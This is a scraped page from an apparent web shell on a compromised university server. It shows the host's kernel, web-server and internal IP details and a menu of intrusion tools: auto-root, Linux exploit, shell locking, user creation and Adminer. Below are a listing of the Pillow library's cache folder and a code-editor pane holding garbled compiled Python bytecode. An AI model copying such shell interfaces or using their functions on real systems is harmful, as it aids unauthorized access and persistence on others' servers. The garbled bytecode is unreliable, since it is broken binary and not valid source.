Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
PIL /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
BdfFontFile.cpython-310.pyc
2.37
KB
-rw-r--r--
_binary.cpython-310.pyc
2.48
KB
-rw-r--r--
BlpImagePlugin.cpython-310.pyc
10.19
KB
-rw-r--r--
BmpImagePlugin.cpython-310.pyc
6.71
KB
-rw-r--r--
BufrStubImagePlugin.cpython-310.pyc
1.59
KB
-rw-r--r--
ContainerIO.cpython-310.pyc
2.75
KB
-rw-r--r--
CurImagePlugin.cpython-310.pyc
1.28
KB
-rw-r--r--
DcxImagePlugin.cpython-310.pyc
1.77
KB
-rw-r--r--
DdsImagePlugin.cpython-310.pyc
5.74
KB
-rw-r--r--
EpsImagePlugin.cpython-310.pyc
7.4
KB
-rw-r--r--
ExifTags.cpython-310.pyc
10.75
KB
-rw-r--r--
features.cpython-310.pyc
8.33
KB
-rw-r--r--
FitsStubImagePlugin.cpython-310.pyc
2.1
KB
-rw-r--r--
FliImagePlugin.cpython-310.pyc
3.54
KB
-rw-r--r--
FontFile.cpython-310.pyc
2.27
KB
-rw-r--r--
FpxImagePlugin.cpython-310.pyc
3.51
KB
-rw-r--r--
FtexImagePlugin.cpython-310.pyc
3.36
KB
-rw-r--r--
GbrImagePlugin.cpython-310.pyc
1.79
KB
-rw-r--r--
GdImageFile.cpython-310.pyc
2.35
KB
-rw-r--r--
GifImagePlugin.cpython-310.pyc
18
KB
-rw-r--r--
GimpGradientFile.cpython-310.pyc
3.17
KB
-rw-r--r--
GimpPaletteFile.cpython-310.pyc
1.33
KB
-rw-r--r--
GribStubImagePlugin.cpython-310.pyc
1.59
KB
-rw-r--r--
Hdf5StubImagePlugin.cpython-310.pyc
1.58
KB
-rw-r--r--
IcnsImagePlugin.cpython-310.pyc
9.22
KB
-rw-r--r--
IcoImagePlugin.cpython-310.pyc
7.41
KB
-rw-r--r--
ImageChops.cpython-310.pyc
7.04
KB
-rw-r--r--
ImageCms.cpython-310.pyc
31.26
KB
-rw-r--r--
ImageColor.cpython-310.pyc
7.25
KB
-rw-r--r--
Image.cpython-310.pyc
94.4
KB
-rw-r--r--
ImageDraw2.cpython-310.pyc
5.21
KB
-rw-r--r--
ImageDraw.cpython-310.pyc
21.41
KB
-rw-r--r--
ImageEnhance.cpython-310.pyc
3.34
KB
-rw-r--r--
ImageFile.cpython-310.pyc
14.38
KB
-rw-r--r--
ImageFilter.cpython-310.pyc
15.55
KB
-rw-r--r--
ImageFont.cpython-310.pyc
40.85
KB
-rw-r--r--
ImageGrab.cpython-310.pyc
2.36
KB
-rw-r--r--
ImageMath.cpython-310.pyc
7.76
KB
-rw-r--r--
ImageMode.cpython-310.pyc
1.64
KB
-rw-r--r--
ImageMorph.cpython-310.pyc
7.01
KB
-rw-r--r--
ImageOps.cpython-310.pyc
15.62
KB
-rw-r--r--
ImagePalette.cpython-310.pyc
6.63
KB
-rw-r--r--
ImagePath.cpython-310.pyc
198
B
-rw-r--r--
ImageQt.cpython-310.pyc
4.53
KB
-rw-r--r--
ImageSequence.cpython-310.pyc
2.23
KB
-rw-r--r--
ImageShow.cpython-310.pyc
8.06
KB
-rw-r--r--
ImageStat.cpython-310.pyc
3.55
KB
-rw-r--r--
ImageTransform.cpython-310.pyc
3.35
KB
-rw-r--r--
ImageWin.cpython-310.pyc
7.86
KB
-rw-r--r--
ImImagePlugin.cpython-310.pyc
6.49
KB
-rw-r--r--
ImtImagePlugin.cpython-310.pyc
1.18
KB
-rw-r--r--
__init__.cpython-310.pyc
1.59
KB
-rw-r--r--
IptcImagePlugin.cpython-310.pyc
4.27
KB
-rw-r--r--
Jpeg2KImagePlugin.cpython-310.pyc
7.72
KB
-rw-r--r--
JpegImagePlugin.cpython-310.pyc
17.4
KB
-rw-r--r--
JpegPresets.cpython-310.pyc
7.69
KB
-rw-r--r--
__main__.cpython-310.pyc
187
B
-rw-r--r--
McIdasImagePlugin.cpython-310.pyc
1.3
KB
-rw-r--r--
MicImagePlugin.cpython-310.pyc
2.03
KB
-rw-r--r--
MpegImagePlugin.cpython-310.pyc
1.88
KB
-rw-r--r--
MpoImagePlugin.cpython-310.pyc
3.36
KB
-rw-r--r--
MspImagePlugin.cpython-310.pyc
2.94
KB
-rw-r--r--
PaletteFile.cpython-310.pyc
1.3
KB
-rw-r--r--
PalmImagePlugin.cpython-310.pyc
6.55
KB
-rw-r--r--
PcdImagePlugin.cpython-310.pyc
1.11
KB
-rw-r--r--
PcfFontFile.cpython-310.pyc
5.08
KB
-rw-r--r--
PcxImagePlugin.cpython-310.pyc
3.55
KB
-rw-r--r--
PdfImagePlugin.cpython-310.pyc
3.5
KB
-rw-r--r--
PdfParser.cpython-310.pyc
26.28
KB
-rw-r--r--
PixarImagePlugin.cpython-310.pyc
1.08
KB
-rw-r--r--
PngImagePlugin.cpython-310.pyc
28.47
KB
-rw-r--r--
PpmImagePlugin.cpython-310.pyc
2.92
KB
-rw-r--r--
PsdImagePlugin.cpython-310.pyc
5.25
KB
-rw-r--r--
PSDraw.cpython-310.pyc
5.65
KB
-rw-r--r--
PyAccess.cpython-310.pyc
9.75
KB
-rw-r--r--
SgiImagePlugin.cpython-310.pyc
3.83
KB
-rw-r--r--
SpiderImagePlugin.cpython-310.pyc
6.53
KB
-rw-r--r--
SunImagePlugin.cpython-310.pyc
1.81
KB
-rw-r--r--
TarIO.cpython-310.pyc
1.49
KB
-rw-r--r--
TgaImagePlugin.cpython-310.pyc
3.88
KB
-rw-r--r--
TiffImagePlugin.cpython-310.pyc
48.81
KB
-rw-r--r--
TiffTags.cpython-310.pyc
11.29
KB
-rw-r--r--
_tkinter_finder.cpython-310.pyc
633
B
-rw-r--r--
_util.cpython-310.pyc
910
B
-rw-r--r--
_version.cpython-310.pyc
160
B
-rw-r--r--
WalImageFile.cpython-310.pyc
2.79
KB
-rw-r--r--
WebPImagePlugin.cpython-310.pyc
6.84
KB
-rw-r--r--
WmfImagePlugin.cpython-310.pyc
3.33
KB
-rw-r--r--
XbmImagePlugin.cpython-310.pyc
1.98
KB
-rw-r--r--
XpmImagePlugin.cpython-310.pyc
2.14
KB
-rw-r--r--
XVThumbImagePlugin.cpython-310.pyc
1.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImageMorph.cpython-310.pyc
o Z#�a] � @ sL d dl Z ddlmZmZ dZg d�Zg d�ZG dd� d�ZG d d � d �ZdS )� N� )�Image� _imagingmorphi ) � � r � � r � � � ) r r r r r r r r r c @ �J e Zd ZdZddd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dS )� LutBuilderaT A class for building a MorphLut from a descriptive language The input patterns is a list of a strings sequences like these:: 4:(... .1. 111)->1 (whitespaces including linebreaks are ignored). The option 4 describes a series of symmetry operations (in this case a 4-rotation), the pattern is described by: - . or X - Ignore - 1 - Pixel is on - 0 - Pixel is off The result of the operation is described after "->" string. The default is to return the current pixel value, which is returned if no other match is found. Operations: - 4 - 4 way rotation - N - Negate - 1 - Dummy op for no other operation (an op must always be given) - M - Mirroring Example:: lb = LutBuilder(patterns = ["4:(... .1. 111)->1"]) lut = lb.build_lut() Nc C st |d ur|| _ ng | _ d | _|d ur8ddgdgddgdgddgg d�d�}||vr1td | d ��|| | _ d S d S )N�1:(... ... ...)->0z4:(00. 01. ...)->1z4:(... .0. .1.)->1z4:(... .0. ..1)->1z4:(... .1. .0.)->0z4:(... .1. ..0)->0)r z4:(.0. .1. ...)->1z4:(01. .1. ...)->1)�corner� dilation4� dilation8�erosion4�erosion8�edgezUnknown pattern �!)�patterns�lut� Exception)�selfr �op_name�known_patterns� r �0/usr/lib/python3/dist-packages/PIL/ImageMorph.py�__init__@ s ��zLutBuilder.__init__c C s | j |7 _ d S �N�r )r r r r r �add_patternsX s zLutBuilder.add_patternsc s. ddg�d� t � �fdd�tt�D ��| _d S )Nr r � c 3 s � | ]}�|� @ d k V qdS )r Nr )�.0�i��m�symbolsr r � <genexpr>^ s � z/LutBuilder.build_default_lut.<locals>.<genexpr>)� bytearray�range�LUT_SIZEr �r r r% r �build_default_lut[ s "zLutBuilder.build_default_lutc C s | j S r �r r, r r r �get_lut` s zLutBuilder.get_lutc s( t |�dksJ �d�� fdd�|D ��S )z�string_permute takes a pattern and a permutation and returns the string permuted according to the permutation list. � � c 3 s � | ]}� | V qd S r r )r# �p��patternr r r( h s � z-LutBuilder._string_permute.<locals>.<genexpr>)�len�join)r r4 �permutationr r3 r �_string_permutec s zLutBuilder._string_permutec C s� ||fg}d|v r%|d d }t d�D ]}|�| �|d d t�|f� qd|v rCt|�}|d|� D ]\}}|�| �|t�|f� q3d|v rqt|�}|d|� D ]\}}|�dd ��d d��d d �}dt|� }|�||f� qQ|S )z�pattern_permute takes a basic pattern and its result and clones the pattern according to the modifications described in the $options parameter. It returns a list of all cloned patterns.�4���r r r �M�N�0�Z�1)r* �appendr8 �ROTATION_MATRIXr5 � MIRROR_MATRIX�replace�int) r � basic_pattern�options�basic_resultr �resr$ �nr4 r r r �_pattern_permutej s$ �zLutBuilder._pattern_permutec C s8 | � � g }| jD ]:}t�d|�dd��}|std| d ��|�d�}|�d�}t|�d��}|�d d��dd�}|| �|||�7 }q t |�D ]\}}|d �dd��dd �}t� |�}||d f||<